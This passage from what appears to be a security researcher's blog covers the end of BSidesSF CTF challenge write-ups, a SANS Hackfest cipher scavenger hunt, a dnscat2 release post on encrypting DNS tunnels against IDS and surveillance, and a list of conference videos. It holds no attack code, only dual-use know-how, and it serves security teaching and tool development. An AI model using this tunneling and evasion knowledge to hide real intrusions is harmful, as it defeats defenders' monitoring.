Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

vhash + vhash-fixed [450]

This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

dnscap [500]

dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

nibbler [666]

And finally, my old friend nibbler.

At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

I originally stored the scores in an array, and each 'fruit' would change between between worth 00 and FF points. You'd have to overflow the stack and build an exploit by gathering fruit with the snake. You'll notice that the name that I ask for at the start uses read() - that's so it can have NUL bytes so you can build a ROP-chain in your name.

I realized that picking values between 00 and FF would take FOREVER, and wanted to get back to the original idea: nibbles! But I couldn't think of a way to make it realistic while only collecting 4-bit values.

Eventually, I decided to drop the premise of performing an exploit, and instead, just let the user write shellcode that is run directly. As a result, it went from a pwn to a programming challenge, but I didn't re-categorize it, largely because we don't have programming challenges.

It ended up being difficult, but solveable! One of my favourite writeups is here; I HIGHLY recommend reading it. My favourite part is that he named the snakes and drew some damn sexy images!

I just want to give a shout out to the poor soul, who I won't name here, who solved this level BY HAND, but didn't cat the flag file fast enough. I shouldn't have had the 10-second timeout, but we did. As a result, he didn't get the flag. I'm so sorry. :(

Fun fact: @bmenrigh was confident enough that this level was impossible to solve that he made me a large bet that less than 2 people would solve it. Because we had 9 solvers, I won a lot of alcohol! :)

Conclusion

Hopefully you enjoyed hearing a little about the BSidesSF CTF challenges I wrote! I really enjoyed writing them, and then seeing people working on solving them!

On some of the challenges, I tried to teach something (or have a teachable lesson, something I can use when I teach). On some, I tried to make something pretty difficult. On some, I fell somewhere between. But there's one thing they have in common: I tried to make my own challenges as easy as possible to test and validate. :)

SANS Hackfest writeup: Hackers of Gravity

Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

This is a writeup of that scavenger hunt. :)

Challenge 1: Hacker of Tenacity

The order of the challenges was actually randomized, so this may not be the order that anybody else had (homework: there are 5040 possible orderings of challenges, and about 100 people attending; what are the odds that two people had the same order? The birthday paradox applies).

The first challenge was simply text:

Sometimes tenacity is enough to get through a difficult challenge. This Hacker of Gravity never gave up and even purposefully created discomfort to survive their challenge against gravity. Do you possess the tenacity to break this message? 

T05ZR1M0VEpPUlBXNlpTN081VVdHMjNGT0pQWEdaTEJPUlpRPT09PQ==

Based on the character set, we immediately recognized it as Base64. We found an online decoder and it decoded to:

ONYGS4TJORPW6ZS7O5UWG23FOJPXGZLBORZQ====


We recognized that as Base32 - Base64 will never have four "====" signs at the end, and Base32 typically only contains uppercase characters and numbers. (Quick plug: I'm currently working on Base32 support for dnscat2, which is another reason I quickly recognized it!)

Anyway, the Base32 version decoded to spirit_of_wicker_seats, and Eric recognized "Spirit" as a possible clue and searched for "Spirit of St Louis Wicker Seats", which revealed the following quote from the Wikipedia article on the Spirit of St. Louis: "The stiff wicker seat in the cockpit was also purposely uncomfortable".

The Spirit of St. Louis was one of the first planes we spotted, so we scanned the QR code and found the solution: lots_of_fuel_tanks!

Challenge 2: Hacker of Navigation

We actually got stuck on the second challenge for awhile, but eventually we got an idea of how these challenges tend to work, after which we came back to it.

We were given a fragment of a letter:

The museum archives have located part of a letter in an old storage locker from some previously lost collection. They'd REALLY like your help finding the author.

You'll note at the bottom-left corner it implies that "A = 50 degrees". We didn't notice that initially. :)

What we did notice was that the degrees were all a) multiples of 10, and b) below 260. That led us to believe that they were numbered letters, times ten (so A = 10, B = 20, C = 30, etc).

The numbers were: 100 50 80 90 80 100 50 230 120 130 190 180 130 230 240 50.

Dividing by 10 gives 10 5 8 9 8 10 5 23 12 13 19 18 13 23 24 5.

Converting that to the corresponding letters gave us JEHIH JEWLMSRMWXE. Clearly not an English sentence, but it looks like a cryptogram (JEHIH looks like "THERE" or "WHERE").

That's when we noticed the "A = 50" in the corner, and realized that things were probably shifted by 5. Instead of manually converting it, we found a shift cipher bruteforcer that we could use. The result was: FADED FASHIONISTA

Searching for "Faded Fashionista Air and Space" led us to this Smithsonian Article: Amelia Earhart, Fashionista. Neither of us knew where her exhibit was, but eventually we tracked it down on the map and walked around it until we found her Lockheed Vega, the QR code scanned to amelias_vega.

Challenge 3: Hacker of Speed

This was an image of some folks ready to board a plane or something:

This super top secret photo has been censored. The security guys looked at this SO fast, maybe they missed something?

Because of the hint, we started looking for mistakes in the censoring and noticed that they're wearing boots that say "X-15":

We found pictures of the X-15 page on the museum's Web site and remembered seeing the plane on the 2nd floor. We reached the artifact and determined that the QR code read faster_than_superman.

Once we got to the artifact, we noticed that we hadn't broken the code yet. Looking carefully at the image, we saw the text at the bottom, nbdi_tjy_qpjou_tfwfo_uxp.

As an avid cryptogrammer, I recognized tfwfo as likely being "never". Since 'e' is one character before 'f', it seemed likely that it was a single shift ('b'->'a', 'c'->'b', etc). I mentally shifted the first couple letters of the sentence, and it looked right, so I did the entire string while Eric wrote it down: mach_six_point_seven_two.

The funny thing is, the word was "seven", not "never", but the "e"s still matched!

Challenge 4: Hacker of Design

While researching some physics based penetration testing, you find this interesting diagram. You feel like you've seen this device before... maybe somewhere or on something in the Air and Space museum?

The diagram reminded Eric of an engine he saw on an earlier visit, we found the artifact on the other side of the museum:

Unfortunately there was no QR code so we decided to work on decoding the challenge to discover the location of the artifact.

Now that we'd seen the hint on Challenge 2, we were more prepared for a diagram to help us! In this case, it was a drawing of an atom and the number "10". We concluded that the numbers probably referred to the atomic weight for elements on the periodic table, and converted them as such:

10=>Ne
74=>W
... and so on.

After decoding the full string, we ended up with:

new_plan_schwalbe

We actually made a mistake in decoding the string, but managed to find it anyways thanks to search autocorrect. :)

After searching for "schwalbe air and space", we found this article, which led us to the artifact: the Messerschmitt Me 262 A-1a Schwalbe (Swallow). The QR code scanned revealed the_swallow.

Challenge 5: Hacker of Distance

While at the bar, listening to some Dual Core, planning your next conference-fest with some fellow hackers, you find this interesting napkin. Your mind begins to wander. Why doesn't Dual Core have a GOLDEN RECORD?! Also, is this napkin trying to tell you something in a around-about way?

The hidden text on this one was obvious… morse code! Typing the code into a phone (not fun!), we ended up with .- -.. .- ... - .-. .- .--. . .-. .- ... .--. . .-. .-, which translates to ADASTRAPERASPERA

According to Google, that slogan is used by a thousand different organizations, none of which seemed to be space or air related. However, searching for "Golden Record Air and Space" returned several results for the Voyager space probe. We looked at our map and scurried to the exhibit on the other side of the museum:

Once we made it to the exhibit finding the QR code was easy, scanning it revealed, the_princess_is_in_another_castle. The decoy flag!

We tried searching keywords from the napkin but none of the results seemed promising. After a few frustrating minutes we saw the museum banquet director and asked him for help. He told us that the plane we were looking for was close to the start of the challenge, we made a dash for the first floor and found the correct Voyager exhibit:

Scanning the QR code revealed the code, missing_canards.

Challenge 6: Hacker of Guidance

The sixth challenge gave us a map with some information:

You have intercepted this map that appears to target something. The allies would really like to know the location of the target. Also, they'd like to know what on Earth is at that location.

We immediately noticed the hex-encoded numbers on the left:

35342e3133383835322c
31332e373637373235

Which translates to 54.138852,13.767725. We googled the coordinates, and it turned out to be a location in Germany: Flughafenring, 17449 Peenemünde, Germany.

After many failed searches we tried "Peenemünde ww2 air and space", which led to a reference to the German V2 Rocket. Here is the exhibit and QR code:

Scanning the QR code revealed aggregat_4, the formal name for the V-2 rocket.

Challenge 7: Hacker of Coding

This is an image with a cipher on the right:

Your primary computer's 0.043MHz CPU is currently maxed out with other more important tasks, so converting all these books of source code to assembly is entirely up to you.

On the chalkboard is a cipher:

We couldn't remember what it was called, and ended up searching for "line dot cipher", which immediately identified it as a pigpen cipher. The pigpen cipher can be decoded with this graphic:

Essentially, you find the shape containing the letter that corresponds to the shape in that graphic. So, the first letter is ">" on the chalkboard, which maps to 'T'. The second is the upper three quarters of a square, which matches up with 'H', and the third is a square, which matches to E. And so on.

Initially we found a version that didn't map to the proper English characters, and translated it to:

Later, we did it right and found the text "THE BEST SHIP TO COME DOWN THE LINE"

To find the artifact, we googled "0.043MHz", and immediately discovered it was "Apollo 11".

The QR code scanned to the_eleventh_apollo

And that's it!

And that's the end of the cipher portion of the challenge! We were first place by only a few minutes. :)

The last part of the challenge involved throwing wood airplanes. Because our plane didn't go backwards, it wasn't the worst, but it's nothing to write home about!

But in the end, it was a really cool way to see a bunch of artifacts and also break some codes!

dnscat2: now with crypto!

Hey everybody,

Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

Tell me what's new!

By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

Let's look at the man-in-the-middle protection...

Short authentication strings

First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

Encrypted session established! For added security, please verify the server also displays this string:

Tort Hither Harold Motive Nuns Unwrap

And the server:

New window created: 1
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Tort Hither Harold Motive Nuns Unwrap

There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

Authentication

Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

Details on how this is implemented are below.

How stealthy is it?

To be perfectly honest: not completely.

The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

Of course, that doesn't stop people from patching things. :)

The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

What are the hidden costs?

Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

How do I turn it off?

The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

Give me some technical details!

Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

But I'll summarize it here. :)

The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

Challenges

A few of the challenges I had to work through...

  • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
  • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
  • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
  • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
  • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

Shouts out

I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

  • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
  • Brandon Enright, who give me a ton of handy crypto advice
  • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

Video archives of security conferences and workshops


Just some links for your enjoyment

List of security conferences in 2014

Video archives:




AIDE (Appalachian Institute of Digital Evidence)


Blackhat
Botconf
Bsides
Chaos Communication Congress
Defcon
Derbycon
Digital Bond's S4x14
Circle City Con
GrrCON Information Security Summit & Hacker Conference
Hack in the box HITB
InfowarCon
Ruxcon
Shmoocon
ShowMeCon
SkyDogCon
TakeDownCon
Troopers
Heidelberg Germany
Workshops, How-tos, and Demos

Special thanks to  Adrian Crenshaw for his collection of videos